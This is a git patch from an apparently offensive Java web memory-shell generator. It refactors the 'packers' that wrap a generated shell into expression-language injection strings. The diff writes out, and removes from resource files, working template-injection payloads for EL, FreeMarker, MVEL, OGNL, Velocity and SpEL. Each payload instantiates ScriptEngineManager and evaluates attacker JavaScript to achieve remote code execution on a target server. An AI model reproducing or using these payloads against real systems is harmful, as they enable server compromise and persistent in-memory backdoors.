From 410ee1eff75ff80029cbe5c716965c6c8a507d0d Mon Sep 17 00:00:00 2001 From: ReaJason Date: Wed, 29 Jan 2025 19:58:02 +0800 Subject: [PATCH] refactor: simplify expression packer --- .../javaweb/memshell/packer/el/ELPacker.java | 14 +++----------- .../packer/freemarker/FreemarkerPacker.java | 14 +++----------- .../javaweb/memshell/packer/mvel/MVELPacker.java | 10 +--------- .../javaweb/memshell/packer/ognl/OGNLPacker.java | 10 +--------- .../memshell/packer/velocity/VelocityPacker.java | 14 +++----------- generator/src/main/resources/ELScriptEngine.txt | 1 - .../src/main/resources/FreemarkerScriptEngine.txt | 1 - generator/src/main/resources/MVELScriptEngine.txt | 1 - generator/src/main/resources/OgnlScriptEngine.txt | 1 - generator/src/main/resources/SpELScriptEngine.txt | 1 - .../src/main/resources/VelocityScriptEngine.txt | 1 - 11 files changed, 11 insertions(+), 57 deletions(-) delete mode 100644 generator/src/main/resources/ELScriptEngine.txt delete mode 100644 generator/src/main/resources/FreemarkerScriptEngine.txt delete mode 100644 generator/src/main/resources/MVELScriptEngine.txt delete mode 100644 generator/src/main/resources/OgnlScriptEngine.txt delete mode 100644 generator/src/main/resources/SpELScriptEngine.txt delete mode 100644 generator/src/main/resources/VelocityScriptEngine.txt diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/el/ELPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/el/ELPacker.java index 9e355f63..bf6c4739 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/el/ELPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/el/ELPacker.java @@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell.packer.el; import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker; import org.apache.commons.io.IOUtils; @@ -14,20 +15,11 @@ import java.util.Objects; * @since 2024/12/13 */ public class ELPacker implements Packer { - ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker(); - String template = ""; - - public ELPacker() { - try { - template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/ELScriptEngine.txt")), Charset.defaultCharset()); - } catch (IOException ignored) { - - } - } + String template = "''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('{{script}}')"; @Override public String pack(GenerateResult generateResult) { - String script = scriptEnginePacker.pack(generateResult); + String script = Packers.ScriptEngine.getInstance().pack(generateResult); return template.replace("{{script}}", script); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/freemarker/FreemarkerPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/freemarker/FreemarkerPacker.java index 17396c07..e23d7cfa 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/freemarker/FreemarkerPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/freemarker/FreemarkerPacker.java @@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell.packer.freemarker; import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker; import org.apache.commons.io.IOUtils; @@ -14,20 +15,11 @@ import java.util.Objects; * @since 2024/12/13 */ public class FreemarkerPacker implements Packer { - ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker(); - String template = ""; - - public FreemarkerPacker() { - try { - template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/FreemarkerScriptEngine.txt")), Charset.defaultCharset()); - } catch (IOException ignored) { - - } - } + String template = "${'freemarker.template.utility.ObjectConstructor'?new()('javax.script.ScriptEngineManager').getEngineByName('js').eval('{{script}}')}"; @Override public String pack(GenerateResult generateResult) { - String script = scriptEnginePacker.pack(generateResult); + String script = Packers.ScriptEngine.getInstance().pack(generateResult); return template.replace("{{script}}", script); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/mvel/MVELPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/mvel/MVELPacker.java index 5433c54c..715613f2 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/mvel/MVELPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/mvel/MVELPacker.java @@ -15,15 +15,7 @@ import java.util.Objects; * @since 2025/1/29 */ public class MVELPacker implements Packer { - String template = ""; - - public MVELPacker() { - try { - template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/MVELScriptEngine.txt")), Charset.defaultCharset()); - } catch (IOException ignored) { - - } - } + String template = "new javax.script.ScriptEngineManager().getEngineByName('js').eval('{{script}}')"; @Override public String pack(GenerateResult generateResult) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/ognl/OGNLPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/ognl/OGNLPacker.java index 6f4c04e7..ec0d8acc 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/ognl/OGNLPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/ognl/OGNLPacker.java @@ -14,15 +14,7 @@ import java.util.Objects; * @since 2024/12/14 */ public class OGNLPacker implements Packer { - String template = ""; - - public OGNLPacker() { - try { - template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/OGNLScriptEngine.txt")), Charset.defaultCharset()); - } catch (IOException ignored) { - - } - } + String template = "(new javax.script.ScriptEngineManager()).getEngineByName('js').eval('{{script}}')"; @Override public String pack(GenerateResult generateResult) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/velocity/VelocityPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/velocity/VelocityPacker.java index 900f7a39..7714f86d 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/velocity/VelocityPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/velocity/VelocityPacker.java @@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell.packer.velocity; import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker; import org.apache.commons.io.IOUtils; @@ -14,20 +15,11 @@ import java.util.Objects; * @since 2024/12/13 */ public class VelocityPacker implements Packer { - ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker(); - String template = ""; - - public VelocityPacker() { - try { - template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/VelocityScriptEngine.txt")), Charset.defaultCharset()); - } catch (IOException ignored) { - - } - } + String template = "#set($x='') #set($cz = $x.class.forName('javax.script.ScriptEngineManager')) $cz.getDeclaredConstructor(null).newInstance().getEngineByName('js').eval('{{script}}')"; @Override public String pack(GenerateResult generateResult) { - String script = scriptEnginePacker.pack(generateResult); + String script = Packers.ScriptEngine.getInstance().pack(generateResult); return template.replace("{{script}}", script); } } diff --git a/generator/src/main/resources/ELScriptEngine.txt b/generator/src/main/resources/ELScriptEngine.txt deleted file mode 100644 index 91359ca1..00000000 --- a/generator/src/main/resources/ELScriptEngine.txt +++ /dev/null @@ -1 +0,0 @@ -"".getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('{{script}}') \ No newline at end of file diff --git a/generator/src/main/resources/FreemarkerScriptEngine.txt b/generator/src/main/resources/FreemarkerScriptEngine.txt deleted file mode 100644 index 19007bc1..00000000 --- a/generator/src/main/resources/FreemarkerScriptEngine.txt +++ /dev/null @@ -1 +0,0 @@ -${'freemarker.template.utility.ObjectConstructor'?new()('javax.script.ScriptEngineManager').getEngineByName('js').eval('{{script}}')} \ No newline at end of file diff --git a/generator/src/main/resources/MVELScriptEngine.txt b/generator/src/main/resources/MVELScriptEngine.txt deleted file mode 100644 index b0cf1752..00000000 --- a/generator/src/main/resources/MVELScriptEngine.txt +++ /dev/null @@ -1 +0,0 @@ -new javax.script.ScriptEngineManager().getEngineByName('js').eval('{{script}}') \ No newline at end of file diff --git a/generator/src/main/resources/OgnlScriptEngine.txt b/generator/src/main/resources/OgnlScriptEngine.txt deleted file mode 100644 index 3672f6d8..00000000 --- a/generator/src/main/resources/OgnlScriptEngine.txt +++ /dev/null @@ -1 +0,0 @@ -(new javax.script.ScriptEngineManager()).getEngineByName('js').eval('{{script}}') \ No newline at end of file diff --git a/generator/src/main/resources/SpELScriptEngine.txt b/generator/src/main/resources/SpELScriptEngine.txt deleted file mode 100644 index f9e45dd1..00000000 --- a/generator/src/main/resources/SpELScriptEngine.txt +++ /dev/null @@ -1 +0,0 @@ -T(javax.script.ScriptEngineManager).newInstance().getEngineByName("js").eval('{{script}}') \ No newline at end of file diff --git a/generator/src/main/resources/VelocityScriptEngine.txt b/generator/src/main/resources/VelocityScriptEngine.txt deleted file mode 100644 index 2965cf13..00000000 --- a/generator/src/main/resources/VelocityScriptEngine.txt +++ /dev/null @@ -1 +0,0 @@ -#set($x='') #set($cz = $x.class.forName('javax.script.ScriptEngineManager')) $cz.getDeclaredConstructor(null).newInstance().getEngineByName('js').eval('{{script}}') \ No newline at end of file